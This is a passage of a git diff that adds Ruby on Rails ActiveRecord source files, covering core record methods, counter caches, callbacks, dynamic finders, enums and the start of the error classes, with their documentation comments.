+      def find_by(*args) # :nodoc:
+        return super if scope_attributes? || reflect_on_all_aggregations.any?
+
+        hash = args.first
+
+        return super if !(Hash === hash) || hash.values.any? { |v|
+          v.nil? || Array === v || Hash === v || Relation === v || Base === v
+        }
+
+        # We can't cache Post.find_by(author: david) ...yet
+        return super unless hash.keys.all? { |k| columns_hash.has_key?(k.to_s) }
+
+        keys = hash.keys
+
+        statement = cached_find_by_statement(keys) { |params|
+          wheres = keys.each_with_object({}) { |param, o|
+            o[param] = params.bind
+          }
+          where(wheres).limit(1)
+        }
+        begin
+          statement.execute(hash.values, self, connection).first
+        rescue TypeError
+          raise ActiveRecord::StatementInvalid
+        rescue ::RangeError
+          nil
+        end
+      end
+
+      def find_by!(*args) # :nodoc:
+        find_by(*args) || raise(RecordNotFound.new("Couldn't find #{name}", name))
+      end
+
+      def initialize_generated_modules # :nodoc:
+        generated_association_methods
+      end
+
+      def generated_association_methods
+        @generated_association_methods ||= begin
+          mod = const_set(:GeneratedAssociationMethods, Module.new)
+          private_constant :GeneratedAssociationMethods
+          include mod
+
+          mod
+        end
+      end
+
+      # Returns a string like 'Post(id:integer, title:string, body:text)'
+      def inspect
+        if self == Base
+          super
+        elsif abstract_class?
+          "#{super}(abstract)"
+        elsif !connected?
+          "#{super} (call '#{super}.connection' to establish a connection)"
+        elsif table_exists?
+          attr_list = attribute_types.map { |name, type| "#{name}: #{type.type}" } * ", "
+          "#{super}(#{attr_list})"
+        else
+          "#{super}(Table doesn't exist)"
+        end
+      end
+
+      # Overwrite the default class equality method to provide support for association proxies.
+      def ===(object)
+        object.is_a?(self)
+      end
+
+      # Returns an instance of <tt>Arel::Table</tt> loaded with the current table name.
+      #
+      #   class Post < ActiveRecord::Base
+      #     scope :published_and_commented, -> { published.and(arel_table[:comments_count].gt(0)) }
+      #   end
+      def arel_table # :nodoc:
+        @arel_table ||= Arel::Table.new(table_name, type_caster: type_caster)
+      end
+
+      def arel_attribute(name, table = arel_table) # :nodoc:
+        name = attribute_alias(name) if attribute_alias?(name)
+        table[name]
+      end
+
+      def predicate_builder # :nodoc:
+        @predicate_builder ||= PredicateBuilder.new(table_metadata)
+      end
+
+      def type_caster # :nodoc:
+        TypeCaster::Map.new(self)
+      end
+
+      private
+
+        def cached_find_by_statement(key, &block)
+          cache = @find_by_statement_cache[connection.prepared_statements]
+          cache[key] || cache.synchronize {
+            cache[key] ||= StatementCache.create(connection, &block)
+          }
+        end
+
+        def relation
+          relation = Relation.create(self, arel_table, predicate_builder)
+
+          if finder_needs_type_condition? && !ignore_default_scope?
+            relation.where(type_condition).create_with(inheritance_column.to_s => sti_name)
+          else
+            relation
+          end
+        end
+
+        def table_metadata
+          TableMetadata.new(self, arel_table)
+        end
+    end
+
+    # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
+    # attributes but not yet saved (pass a hash with key names matching the associated table column names).
+    # In both instances, valid attribute keys are determined by the column names of the associated table --
+    # hence you can't have attributes that aren't part of the table columns.
+    #
+    # ==== Example:
+    #   # Instantiates a single new object
+    #   User.new(first_name: 'Jamie')
+    def initialize(attributes = nil)
+      self.class.define_attribute_methods
+      @attributes = self.class._default_attributes.deep_dup
+
+      init_internals
+      initialize_internals_callback
+
+      assign_attributes(attributes) if attributes
+
+      yield self if block_given?
+      _run_initialize_callbacks
+    end
+
+    # Initialize an empty model object from +coder+. +coder+ should be
+    # the result of previously encoding an Active Record model, using
+    # #encode_with.
+    #
+    #   class Post < ActiveRecord::Base
+    #   end
+    #
+    #   old_post = Post.new(title: "hello world")
+    #   coder = {}
+    #   old_post.encode_with(coder)
+    #
+    #   post = Post.allocate
+    #   post.init_with(coder)
+    #   post.title # => 'hello world'
+    def init_with(coder)
+      coder = LegacyYamlAdapter.convert(self.class, coder)
+      @attributes = self.class.yaml_encoder.decode(coder)
+
+      init_internals
+
+      @new_record = coder["new_record"]
+
+      self.class.define_attribute_methods
+
+      yield self if block_given?
+
+      _run_find_callbacks
+      _run_initialize_callbacks
+
+      self
+    end
+
+    ##
+    # :method: clone
+    # Identical to Ruby's clone method.  This is a "shallow" copy.  Be warned that your attributes are not copied.
+    # That means that modifying attributes of the clone will modify the original, since they will both point to the
+    # same attributes hash. If you need a copy of your attributes hash, please use the #dup method.
+    #
+    #   user = User.first
+    #   new_user = user.clone
+    #   user.name               # => "Bob"
+    #   new_user.name = "Joe"
+    #   user.name               # => "Joe"
+    #
+    #   user.object_id == new_user.object_id            # => false
+    #   user.name.object_id == new_user.name.object_id  # => true
+    #
+    #   user.name.object_id == user.dup.name.object_id  # => false
+
+    ##
+    # :method: dup
+    # Duped objects have no id assigned and are treated as new records. Note
+    # that this is a "shallow" copy as it copies the object's attributes
+    # only, not its associations. The extent of a "deep" copy is application
+    # specific and is therefore left to the application to implement according
+    # to its need.
+    # The dup method does not preserve the timestamps (created|updated)_(at|on).
+
+    ##
+    def initialize_dup(other) # :nodoc:
+      @attributes = @attributes.deep_dup
+      @attributes.reset(self.class.primary_key)
+
+      _run_initialize_callbacks
+
+      @new_record  = true
+      @destroyed   = false
+
+      super
+    end
+
+    # Populate +coder+ with attributes about this record that should be
+    # serialized. The structure of +coder+ defined in this method is
+    # guaranteed to match the structure of +coder+ passed to the #init_with
+    # method.
+    #
+    # Example:
+    #
+    #   class Post < ActiveRecord::Base
+    #   end
+    #   coder = {}
+    #   Post.new.encode_with(coder)
+    #   coder # => {"attributes" => {"id" => nil, ... }}
+    def encode_with(coder)
+      self.class.yaml_encoder.encode(@attributes, coder)
+      coder["new_record"] = new_record?
+      coder["active_record_yaml_version"] = 2
+    end
+
+    # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
+    # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+.
+    #
+    # Note that new records are different from any other record by definition, unless the
+    # other record is the receiver itself. Besides, if you fetch existing records with
+    # +select+ and leave the ID out, you're on your own, this predicate will return false.
+    #
+    # Note also that destroying a record preserves its ID in the model instance, so deleted
+    # models are still comparable.
+    def ==(comparison_object)
+      super ||
+        comparison_object.instance_of?(self.class) &&
+        !id.nil? &&
+        comparison_object.id == id
+    end
+    alias :eql? :==
+
+    # Delegates to id in order to allow two records of the same type and id to work with something like:
+    #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
+    def hash
+      if id
+        self.class.hash ^ id.hash
+      else
+        super
+      end
+    end
+
+    # Clone and freeze the attributes hash such that associations are still
+    # accessible, even on destroyed records, but cloned models will not be
+    # frozen.
+    def freeze
+      @attributes = @attributes.clone.freeze
+      self
+    end
+
+    # Returns +true+ if the attributes hash has been frozen.
+    def frozen?
+      @attributes.frozen?
+    end
+
+    # Allows sort on objects
+    def <=>(other_object)
+      if other_object.is_a?(self.class)
+        to_key <=> other_object.to_key
+      else
+        super
+      end
+    end
+
+    # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
+    # attributes will be marked as read only since they cannot be saved.
+    def readonly?
+      @readonly
+    end
+
+    # Marks this record as read only.
+    def readonly!
+      @readonly = true
+    end
+
+    def connection_handler
+      self.class.connection_handler
+    end
+
+    # Returns the contents of the record as a nicely formatted string.
+    def inspect
+      # We check defined?(@attributes) not to issue warnings if the object is
+      # allocated but not initialized.
+      inspection = if defined?(@attributes) && @attributes
+        self.class.attribute_names.collect do |name|
+          if has_attribute?(name)
+            "#{name}: #{attribute_for_inspect(name)}"
+          end
+        end.compact.join(", ")
+      else
+        "not initialized"
+      end
+
+      "#<#{self.class} #{inspection}>"
+    end
+
+    # Takes a PP and prettily prints this record to it, allowing you to get a nice result from <tt>pp record</tt>
+    # when pp is required.
+    def pretty_print(pp)
+      return super if custom_inspect_method_defined?
+      pp.object_address_group(self) do
+        if defined?(@attributes) && @attributes
+          column_names = self.class.column_names.select { |name| has_attribute?(name) || new_record? }
+          pp.seplist(column_names, proc { pp.text "," }) do |column_name|
+            column_value = read_attribute(column_name)
+            pp.breakable " "
+            pp.group(1) do
+              pp.text column_name
+              pp.text ":"
+              pp.breakable
+              pp.pp column_value
+            end
+          end
+        else
+          pp.breakable " "
+          pp.text "not initialized"
+        end
+      end
+    end
+
+    # Returns a hash of the given methods with their names as keys and returned values as values.
+    def slice(*methods)
+      Hash[methods.flatten.map! { |method| [method, public_send(method)] }].with_indifferent_access
+    end
+
+    private
+
+      # +Array#flatten+ will call +#to_ary+ (recursively) on each of the elements of
+      # the array, and then rescues from the possible +NoMethodError+. If those elements are
+      # +ActiveRecord::Base+'s, then this triggers the various +method_missing+'s that we have,
+      # which significantly impacts upon performance.
+      #
+      # So we can avoid the +method_missing+ hit by explicitly defining +#to_ary+ as +nil+ here.
+      #
+      # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary.html
+      def to_ary
+        nil
+      end
+
+      def init_internals
+        @readonly                 = false
+        @destroyed                = false
+        @marked_for_destruction   = false
+        @destroyed_by_association = nil
+        @new_record               = true
+        @_start_transaction_state = {}
+        @transaction_state        = nil
+      end
+
+      def initialize_internals_callback
+      end
+
+      def thaw
+        if frozen?
+          @attributes = @attributes.dup
+        end
+      end
+
+      def custom_inspect_method_defined?
+        self.class.instance_method(:inspect).owner != ActiveRecord::Base.instance_method(:inspect).owner
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/counter_cache.rb b/activerecord/lib/active_record/counter_cache.rb
new file mode 100644
index 0000000000..5005d58f1c
--- /dev/null
+++ b/activerecord/lib/active_record/counter_cache.rb
@@ -0,0 +1,214 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Counter Cache
+  module CounterCache
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      # Resets one or more counter caches to their correct value using an SQL
+      # count query. This is useful when adding new counter caches, or if the
+      # counter has been corrupted or modified directly by SQL.
+      #
+      # ==== Parameters
+      #
+      # * +id+ - The id of the object you wish to reset a counter on.
+      # * +counters+ - One or more association counters to reset. Association name or counter name can be given.
+      # * <tt>:touch</tt> - Touch timestamp columns when updating.
+      #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
+      #   touch that column or an array of symbols to touch just those ones.
+      #
+      # ==== Examples
+      #
+      #   # For the Post with id #1, reset the comments_count
+      #   Post.reset_counters(1, :comments)
+      #
+      #   # Like above, but also touch the +updated_at+ and/or +updated_on+
+      #   # attributes.
+      #   Post.reset_counters(1, :comments, touch: true)
+      def reset_counters(id, *counters, touch: nil)
+        object = find(id)
+
+        counters.each do |counter_association|
+          has_many_association = _reflect_on_association(counter_association)
+          unless has_many_association
+            has_many = reflect_on_all_associations(:has_many)
+            has_many_association = has_many.find { |association| association.counter_cache_column && association.counter_cache_column.to_sym == counter_association.to_sym }
+            counter_association = has_many_association.plural_name if has_many_association
+          end
+          raise ArgumentError, "'#{name}' has no association called '#{counter_association}'" unless has_many_association
+
+          if has_many_association.is_a? ActiveRecord::Reflection::ThroughReflection
+            has_many_association = has_many_association.through_reflection
+          end
+
+          foreign_key  = has_many_association.foreign_key.to_s
+          child_class  = has_many_association.klass
+          reflection   = child_class._reflections.values.find { |e| e.belongs_to? && e.foreign_key.to_s == foreign_key && e.options[:counter_cache].present? }
+          counter_name = reflection.counter_cache_column
+
+          updates = { counter_name.to_sym => object.send(counter_association).count(:all) }
+          updates.merge!(touch_updates(touch)) if touch
+
+          unscoped.where(primary_key => object.id).update_all(updates)
+        end
+
+        return true
+      end
+
+      # A generic "counter updater" implementation, intended primarily to be
+      # used by #increment_counter and #decrement_counter, but which may also
+      # be useful on its own. It simply does a direct SQL update for the record
+      # with the given ID, altering the given hash of counters by the amount
+      # given by the corresponding value:
+      #
+      # ==== Parameters
+      #
+      # * +id+ - The id of the object you wish to update a counter on or an array of ids.
+      # * +counters+ - A Hash containing the names of the fields
+      #   to update as keys and the amount to update the field by as values.
+      # * <tt>:touch</tt> option - Touch timestamp columns when updating.
+      #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
+      #   touch that column or an array of symbols to touch just those ones.
+      #
+      # ==== Examples
+      #
+      #   # For the Post with id of 5, decrement the comment_count by 1, and
+      #   # increment the action_count by 1
+      #   Post.update_counters 5, comment_count: -1, action_count: 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = COALESCE(comment_count, 0) - 1,
+      #   #        action_count = COALESCE(action_count, 0) + 1
+      #   #  WHERE id = 5
+      #
+      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
+      #   Post.update_counters [10, 15], comment_count: 1
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = COALESCE(comment_count, 0) + 1
+      #   #  WHERE id IN (10, 15)
+      #
+      #   # For the Posts with id of 10 and 15, increment the comment_count by 1
+      #   # and update the updated_at value for each counter.
+      #   Post.update_counters [10, 15], comment_count: 1, touch: true
+      #   # Executes the following SQL:
+      #   # UPDATE posts
+      #   #    SET comment_count = COALESCE(comment_count, 0) + 1,
+      #   #    `updated_at` = '2016-10-13T09:59:23-05:00'
+      #   #  WHERE id IN (10, 15)
+      def update_counters(id, counters)
+        touch = counters.delete(:touch)
+
+        updates = counters.map do |counter_name, value|
+          operator = value < 0 ? "-" : "+"
+          quoted_column = connection.quote_column_name(counter_name)
+          "#{quoted_column} = COALESCE(#{quoted_column}, 0) #{operator} #{value.abs}"
+        end
+
+        if touch
+          touch_updates = touch_updates(touch)
+          updates << sanitize_sql_for_assignment(touch_updates) unless touch_updates.empty?
+        end
+
+        unscoped.where(primary_key => id).update_all updates.join(", ")
+      end
+
+      # Increment a numeric field by one, via a direct SQL update.
+      #
+      # This method is used primarily for maintaining counter_cache columns that are
+      # used to store aggregate values. For example, a +DiscussionBoard+ may cache
+      # posts_count and comments_count to avoid running an SQL query to calculate the
+      # number of posts and comments there are, each time it is displayed.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be incremented.
+      # * +id+ - The id of the object that should be incremented or an array of ids.
+      # * <tt>:touch</tt> - Touch timestamp columns when updating.
+      #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
+      #   touch that column or an array of symbols to touch just those ones.
+      #
+      # ==== Examples
+      #
+      #   # Increment the posts_count column for the record with an id of 5
+      #   DiscussionBoard.increment_counter(:posts_count, 5)
+      #
+      #   # Increment the posts_count column for the record with an id of 5
+      #   # and update the updated_at value.
+      #   DiscussionBoard.increment_counter(:posts_count, 5, touch: true)
+      def increment_counter(counter_name, id, touch: nil)
+        update_counters(id, counter_name => 1, touch: touch)
+      end
+
+      # Decrement a numeric field by one, via a direct SQL update.
+      #
+      # This works the same as #increment_counter but reduces the column value by
+      # 1 instead of increasing it.
+      #
+      # ==== Parameters
+      #
+      # * +counter_name+ - The name of the field that should be decremented.
+      # * +id+ - The id of the object that should be decremented or an array of ids.
+      # * <tt>:touch</tt> - Touch timestamp columns when updating.
+      #   Pass +true+ to touch +updated_at+ and/or +updated_on+. Pass a symbol to
+      #   touch that column or an array of symbols to touch just those ones.
+      #
+      # ==== Examples
+      #
+      #   # Decrement the posts_count column for the record with an id of 5
+      #   DiscussionBoard.decrement_counter(:posts_count, 5)
+      #
+      #   # Decrement the posts_count column for the record with an id of 5
+      #   # and update the updated_at value.
+      #   DiscussionBoard.decrement_counter(:posts_count, 5, touch: true)
+      def decrement_counter(counter_name, id, touch: nil)
+        update_counters(id, counter_name => -1, touch: touch)
+      end
+
+      private
+        def touch_updates(touch)
+          touch = timestamp_attributes_for_update_in_model if touch == true
+          touch_time = current_time_from_proper_timezone
+          Array(touch).map { |column| [ column, touch_time ] }.to_h
+        end
+    end
+
+    private
+
+      def _create_record(*)
+        id = super
+
+        each_counter_cached_associations do |association|
+          if send(association.reflection.name)
+            association.increment_counters
+          end
+        end
+
+        id
+      end
+
+      def destroy_row
+        affected_rows = super
+
+        if affected_rows > 0
+          each_counter_cached_associations do |association|
+            foreign_key = association.reflection.foreign_key.to_sym
+            unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
+              if send(association.reflection.name)
+                association.decrement_counters
+              end
+            end
+          end
+        end
+
+        affected_rows
+      end
+
+      def each_counter_cached_associations
+        _reflections.each do |name, reflection|
+          yield association(name.to_sym) if reflection.belongs_to? && reflection.counter_cache_column
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/define_callbacks.rb b/activerecord/lib/active_record/define_callbacks.rb
new file mode 100644
index 0000000000..2c8783dcc9
--- /dev/null
+++ b/activerecord/lib/active_record/define_callbacks.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # This module exists because `ActiveRecord::AttributeMethods::Dirty` needs to
+  # define callbacks, but continue to have its version of `save` be the super
+  # method of `ActiveRecord::Callbacks`. This will be removed when the removal
+  # of deprecated code removes this need.
+  module DefineCallbacks
+    extend ActiveSupport::Concern
+
+    module ClassMethods # :nodoc:
+      include ActiveModel::Callbacks
+    end
+
+    included do
+      include ActiveModel::Validations::Callbacks
+
+      define_model_callbacks :initialize, :find, :touch, only: :after
+      define_model_callbacks :save, :create, :update, :destroy
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/dynamic_matchers.rb b/activerecord/lib/active_record/dynamic_matchers.rb
new file mode 100644
index 0000000000..3bb8c6f4e3
--- /dev/null
+++ b/activerecord/lib/active_record/dynamic_matchers.rb
@@ -0,0 +1,122 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module DynamicMatchers #:nodoc:
+    private
+      def respond_to_missing?(name, _)
+        if self == Base
+          super
+        else
+          match = Method.match(self, name)
+          match && match.valid? || super
+        end
+      end
+
+      def method_missing(name, *arguments, &block)
+        match = Method.match(self, name)
+
+        if match && match.valid?
+          match.define
+          send(name, *arguments, &block)
+        else
+          super
+        end
+      end
+
+      class Method
+        @matchers = []
+
+        class << self
+          attr_reader :matchers
+
+          def match(model, name)
+            klass = matchers.find { |k| k.pattern.match?(name) }
+            klass.new(model, name) if klass
+          end
+
+          def pattern
+            @pattern ||= /\A#{prefix}_([_a-zA-Z]\w*)#{suffix}\Z/
+          end
+
+          def prefix
+            raise NotImplementedError
+          end
+
+          def suffix
+            ""
+          end
+        end
+
+        attr_reader :model, :name, :attribute_names
+
+        def initialize(model, name)
+          @model           = model
+          @name            = name.to_s
+          @attribute_names = @name.match(self.class.pattern)[1].split("_and_")
+          @attribute_names.map! { |n| @model.attribute_aliases[n] || n }
+        end
+
+        def valid?
+          attribute_names.all? { |name| model.columns_hash[name] || model.reflect_on_aggregation(name.to_sym) }
+        end
+
+        def define
+          model.class_eval <<-CODE, __FILE__, __LINE__ + 1
+            def self.#{name}(#{signature})
+              #{body}
+            end
+          CODE
+        end
+
+        private
+
+          def body
+            "#{finder}(#{attributes_hash})"
+          end
+
+          # The parameters in the signature may have reserved Ruby words, in order
+          # to prevent errors, we start each param name with `_`.
+          def signature
+            attribute_names.map { |name| "_#{name}" }.join(", ")
+          end
+
+          # Given that the parameters starts with `_`, the finder needs to use the
+          # same parameter name.
+          def attributes_hash
+            "{" + attribute_names.map { |name| ":#{name} => _#{name}" }.join(",") + "}"
+          end
+
+          def finder
+            raise NotImplementedError
+          end
+      end
+
+      class FindBy < Method
+        Method.matchers << self
+
+        def self.prefix
+          "find_by"
+        end
+
+        def finder
+          "find_by"
+        end
+      end
+
+      class FindByBang < Method
+        Method.matchers << self
+
+        def self.prefix
+          "find_by"
+        end
+
+        def self.suffix
+          "!"
+        end
+
+        def finder
+          "find_by!"
+        end
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/enum.rb b/activerecord/lib/active_record/enum.rb
new file mode 100644
index 0000000000..f373b98035
--- /dev/null
+++ b/activerecord/lib/active_record/enum.rb
@@ -0,0 +1,241 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/object/deep_dup"
+
+module ActiveRecord
+  # Declare an enum attribute where the values map to integers in the database,
+  # but can be queried by name. Example:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: [ :active, :archived ]
+  #   end
+  #
+  #   # conversation.update! status: 0
+  #   conversation.active!
+  #   conversation.active? # => true
+  #   conversation.status  # => "active"
+  #
+  #   # conversation.update! status: 1
+  #   conversation.archived!
+  #   conversation.archived? # => true
+  #   conversation.status    # => "archived"
+  #
+  #   # conversation.status = 1
+  #   conversation.status = "archived"
+  #
+  #   conversation.status = nil
+  #   conversation.status.nil? # => true
+  #   conversation.status      # => nil
+  #
+  # Scopes based on the allowed values of the enum field will be provided
+  # as well. With the above example:
+  #
+  #   Conversation.active
+  #   Conversation.archived
+  #
+  # Of course, you can also query them directly if the scopes don't fit your
+  # needs:
+  #
+  #   Conversation.where(status: [:active, :archived])
+  #   Conversation.where.not(status: :active)
+  #
+  # You can set the default value from the database declaration, like:
+  #
+  #   create_table :conversations do |t|
+  #     t.column :status, :integer, default: 0
+  #   end
+  #
+  # Good practice is to let the first declared status be the default.
+  #
+  # Finally, it's also possible to explicitly map the relation between attribute and
+  # database integer with a hash:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: { active: 0, archived: 1 }
+  #   end
+  #
+  # Note that when an array is used, the implicit mapping from the values to database
+  # integers is derived from the order the values appear in the array. In the example,
+  # <tt>:active</tt> is mapped to +0+ as it's the first element, and <tt>:archived</tt>
+  # is mapped to +1+. In general, the +i+-th element is mapped to <tt>i-1</tt> in the
+  # database.
+  #
+  # Therefore, once a value is added to the enum array, its position in the array must
+  # be maintained, and new values should only be added to the end of the array. To
+  # remove unused values, the explicit hash syntax should be used.
+  #
+  # In rare circumstances you might need to access the mapping directly.
+  # The mappings are exposed through a class method with the pluralized attribute
+  # name, which return the mapping in a +HashWithIndifferentAccess+:
+  #
+  #   Conversation.statuses[:active]    # => 0
+  #   Conversation.statuses["archived"] # => 1
+  #
+  # Use that class method when you need to know the ordinal value of an enum.
+  # For example, you can use that when manually building SQL strings:
+  #
+  #   Conversation.where("status <> ?", Conversation.statuses[:archived])
+  #
+  # You can use the +:_prefix+ or +:_suffix+ options when you need to define
+  # multiple enums with same values. If the passed value is +true+, the methods
+  # are prefixed/suffixed with the name of the enum. It is also possible to
+  # supply a custom value:
+  #
+  #   class Conversation < ActiveRecord::Base
+  #     enum status: [:active, :archived], _suffix: true
+  #     enum comments_status: [:active, :inactive], _prefix: :comments
+  #   end
+  #
+  # With the above example, the bang and predicate methods along with the
+  # associated scopes are now prefixed and/or suffixed accordingly:
+  #
+  #   conversation.active_status!
+  #   conversation.archived_status? # => false
+  #
+  #   conversation.comments_inactive!
+  #   conversation.comments_active? # => false
+
+  module Enum
+    def self.extended(base) # :nodoc:
+      base.class_attribute(:defined_enums, instance_writer: false, default: {})
+    end
+
+    def inherited(base) # :nodoc:
+      base.defined_enums = defined_enums.deep_dup
+      super
+    end
+
+    class EnumType < Type::Value # :nodoc:
+      delegate :type, to: :subtype
+
+      def initialize(name, mapping, subtype)
+        @name = name
+        @mapping = mapping
+        @subtype = subtype
+      end
+
+      def cast(value)
+        return if value.blank?
+
+        if mapping.has_key?(value)
+          value.to_s
+        elsif mapping.has_value?(value)
+          mapping.key(value)
+        else
+          assert_valid_value(value)
+        end
+      end
+
+      def deserialize(value)
+        return if value.nil?
+        mapping.key(subtype.deserialize(value))
+      end
+
+      def serialize(value)
+        mapping.fetch(value, value)
+      end
+
+      def assert_valid_value(value)
+        unless value.blank? || mapping.has_key?(value) || mapping.has_value?(value)
+          raise ArgumentError, "'#{value}' is not a valid #{name}"
+        end
+      end
+
+      # TODO Change this to private once we've dropped Ruby 2.2 support.
+      # Workaround for Ruby 2.2 "private attribute?" warning.
+      protected
+
+        attr_reader :name, :mapping, :subtype
+    end
+
+    def enum(definitions)
+      klass = self
+      enum_prefix = definitions.delete(:_prefix)
+      enum_suffix = definitions.delete(:_suffix)
+      definitions.each do |name, values|
+        # statuses = { }
+        enum_values = ActiveSupport::HashWithIndifferentAccess.new
+        name = name.to_s
+
+        # def self.statuses() statuses end
+        detect_enum_conflict!(name, name.pluralize, true)
+        singleton_class.send(:define_method, name.pluralize) { enum_values }
+        defined_enums[name] = enum_values
+
+        detect_enum_conflict!(name, name)
+        detect_enum_conflict!(name, "#{name}=")
+
+        attr = attribute_alias?(name) ? attribute_alias(name) : name
+        decorate_attribute_type(attr, :enum) do |subtype|
+          EnumType.new(attr, enum_values, subtype)
+        end
+
+        _enum_methods_module.module_eval do
+          pairs = values.respond_to?(:each_pair) ? values.each_pair : values.each_with_index
+          pairs.each do |label, value|
+            if enum_prefix == true
+              prefix = "#{name}_"
+            elsif enum_prefix
+              prefix = "#{enum_prefix}_"
+            end
+            if enum_suffix == true
+              suffix = "_#{name}"
+            elsif enum_suffix
+              suffix = "_#{enum_suffix}"
+            end
+
+            value_method_name = "#{prefix}#{label}#{suffix}"
+            enum_values[label] = value
+            label = label.to_s
+
+            # def active?() status == "active" end
+            klass.send(:detect_enum_conflict!, name, "#{value_method_name}?")
+            define_method("#{value_method_name}?") { self[attr] == label }
+
+            # def active!() update!(status: 0) end
+            klass.send(:detect_enum_conflict!, name, "#{value_method_name}!")
+            define_method("#{value_method_name}!") { update!(attr => value) }
+
+            # scope :active, -> { where(status: 0) }
+            klass.send(:detect_enum_conflict!, name, value_method_name, true)
+            klass.scope value_method_name, -> { where(attr => value) }
+          end
+        end
+      end
+    end
+
+    private
+      def _enum_methods_module
+        @_enum_methods_module ||= begin
+          mod = Module.new
+          include mod
+          mod
+        end
+      end
+
+      ENUM_CONFLICT_MESSAGE = \
+        "You tried to define an enum named \"%{enum}\" on the model \"%{klass}\", but " \
+        "this will generate a %{type} method \"%{method}\", which is already defined " \
+        "by %{source}."
+
+      def detect_enum_conflict!(enum_name, method_name, klass_method = false)
+        if klass_method && dangerous_class_method?(method_name)
+          raise_conflict_error(enum_name, method_name, type: "class")
+        elsif !klass_method && dangerous_attribute_method?(method_name)
+          raise_conflict_error(enum_name, method_name)
+        elsif !klass_method && method_defined_within?(method_name, _enum_methods_module, Module)
+          raise_conflict_error(enum_name, method_name, source: "another enum")
+        end
+      end
+
+      def raise_conflict_error(enum_name, method_name, type: "instance", source: "Active Record")
+        raise ArgumentError, ENUM_CONFLICT_MESSAGE % {
+          enum: enum_name,
+          klass: name,
+          type: type,
+          method: method_name,
+          source: source
+        }
+      end
+  end
+end
diff --git a/activerecord/lib/active_record/errors.rb b/activerecord/lib/active_record/errors.rb
new file mode 100644
index 0000000000..933589d4b1
--- /dev/null
+++ b/activerecord/lib/active_record/errors.rb
@@ -0,0 +1,337 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  # = Active Record Errors
+  #
+  # Generic Active Record exception class.
+  class ActiveRecordError < StandardError
+  end
+
+  # Raised when the single-table inheritance mechanism fails to locate the subclass
+  # (for example due to improper usage of column that
+  # {ActiveRecord::Base.inheritance_column}[rdoc-ref:ModelSchema::ClassMethods#inheritance_column]
+  # points to).
+  class SubclassNotFound < ActiveRecordError
+  end
+
+  # Raised when an object assigned to an association has an incorrect type.
+  #
+  #   class Ticket < ActiveRecord::Base
+  #     has_many :patches
+  #   end
+  #
+  #   class Patch < ActiveRecord::Base
+  #     belongs_to :ticket
+  #   end
+  #
+  #   # Comments are not patches, this assignment raises AssociationTypeMismatch.
+  #   @ticket.patches << Comment.new(content: "Please attach tests to your patch.")
+  class AssociationTypeMismatch < ActiveRecordError
+  end
+
+  # Raised when unserialized object's type mismatches one specified for serializable field.
+  class SerializationTypeMismatch < ActiveRecordError
+  end
+
+  # Raised when adapter not specified on connection (or configuration file
+  # +config/database.yml+ misses adapter field).
+  class AdapterNotSpecified < ActiveRecordError
+  end
+
+  # Raised when Active Record cannot find database adapter specified in
+  # +config/database.yml+ or programmatically.
+  class AdapterNotFound < ActiveRecordError
+  end
+
+  # Raised when connection to the database could not been established (for example when
+  # {ActiveRecord::Base.connection=}[rdoc-ref:ConnectionHandling#connection]
+  # is given a +nil+ object).
+  class ConnectionNotEstablished < ActiveRecordError
+  end
+
+  # Raised when Active Record cannot find a record by given id or set of ids.
+  class RecordNotFound < ActiveRecordError
+    attr_reader :model, :primary_key, :id
+
+    def initialize(message = nil, model = nil, primary_key = nil, id = nil)
+      @primary_key = primary_key
+      @model = model
+      @id = id
+
+      super(message)
+    end
+  end
+
+  # Raised by {ActiveRecord::Base#save!}[rdoc-ref:Persistence#save!] and
+  # {ActiveRecord::Base.create!}[rdoc-ref:Persistence::ClassMethods#create!]
+  # methods when a record is invalid and can not be saved.
+  class RecordNotSaved < ActiveRecordError
+    attr_reader :record
+
+    def initialize(message = nil, record = nil)
+      @record = record
+      super(message)
+    end
+  end
+
+  # Raised by {ActiveRecord::Base#destroy!}[rdoc-ref:Persistence#destroy!]
+  # when a call to {#destroy}[rdoc-ref:Persistence#destroy!]
+  # would return false.
+  #
+  #   begin
+  #     complex_operation_that_internally_calls_destroy!
+  #   rescue ActiveRecord::RecordNotDestroyed => invalid
+  #     puts invalid.record.errors
+  #   end
+  #
+  class RecordNotDestroyed < ActiveRecordError
+    attr_reader :record
+
+    def initialize(message = nil, record = nil)
+      @record = record
+      super(message)
+    end
+  end
+
+  # Superclass for all database execution errors.
+  #
+  # Wraps the underlying database error as +cause+.
+  class StatementInvalid < ActiveRecordError
+    def initialize(message = nil)
+      super(message || $!.try(:message))
+    end
+  end
+
+  # Defunct wrapper class kept for compatibility.
+  # StatementInvalid wraps the original exception now.
+  class WrappedDatabaseException < StatementInvalid
+  end
+
+  # Raised when a record cannot be inserted or updated because it would violate a uniqueness constraint.
+  class RecordNotUnique < WrappedDatabaseException
+  end
+
+  # Raised when a record cannot be inserted or updated because it references a non-existent record.
+  class InvalidForeignKey < WrappedDatabaseException
+  end
+
+  # Raised when a foreign key constraint cannot be added because the column type does not match the referenced column type.
